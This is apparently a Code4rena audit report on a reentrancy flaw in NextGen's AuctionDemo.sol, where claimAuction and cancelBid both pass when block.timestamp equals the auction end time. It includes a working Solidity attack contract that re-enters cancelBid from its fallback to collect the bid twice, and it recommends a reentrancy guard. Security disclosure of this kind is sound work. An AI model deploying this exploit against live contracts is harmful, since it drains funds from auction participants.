NextGen - orion's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L128

Vulnerability details

Impact

The bidder can get his bid amount earned twice by applying an illegal reentrancy between AuctionDemo.claimAuction and AuctionDemo.cancelBid

Proof of Concept :

A reentrancy can be applied between AuctionDemo.claimAuction and AuctionDemo.cancelBid,

• Alice deploys malicious contract that makes a bid on token id 1 with 100 eth
• the malicious contract have a fallback that calls the cancelBid function
• When Alice's contract becomes a winner and the token id's auction time is equal to block.timestamp he calls the claim
• The claim will send the bid amount (alice's contract gets 100 eth) and it's fallback calls the cancel bid (since block.timestamp <= minter.getAuctionEndTime(_tokenid) still valid) will gets another 100 eth

PoC :

interface IAuctionDemo {
  function claimAuction(uint256) external;
  function cancelBid(uint256) external;
  function participateToAuction(uint256) external payable;
}
contract attack {
  bool triggred;
  address owner;
  IAuctionDemo vuln;
  uint256 id;
  constructor(IAuctionDemo _vuln, uint256 _id) {
    owner = msg.sender;
    vuln = _vuln;
    id = _id;
  }

  function initiate() external payable {
     vuln.participateToAuction{value:msg.value}(id);
  }
  function exploit() external {
    vuln.claimAuction(id);
  }

  fallback() external payable {
    // to avoid calls over 2 which will reverts on bid cancelation requirements
     if(msg.sender == address(vuln)) {
         if(!triggred) {
             triggred = true;
             vuln.cancelBid(id);
         }
     }
  }
  receive() external payable {
    if(msg.sender == address(vuln)) {
         if(!triggred) {
             triggred = true;
             vuln.cancelBid(id);
         }
     }
  }
}

Cause : both functions make a check of timestamp with >= and =< to the auction time of the bid id (lines 125, 105), bidder is only allowed to get his bid amount by either of canceling and claiming, however he can get his bid with both when the the auction time is equal to block.timestamp, calling both functions will be validated,

The bug to be exploited successfully the reentrancy must be triggered when block.timestamp is equal to minter.getAuctionEndTime(_tokenid)

Tools Used

Remix IDE

Recommended Mitigation Steps

Impliment reentrancy guard on AuctionDemo.claimAuction and AuctionDemo.cancelBid functions

Assessed type

Reentrancy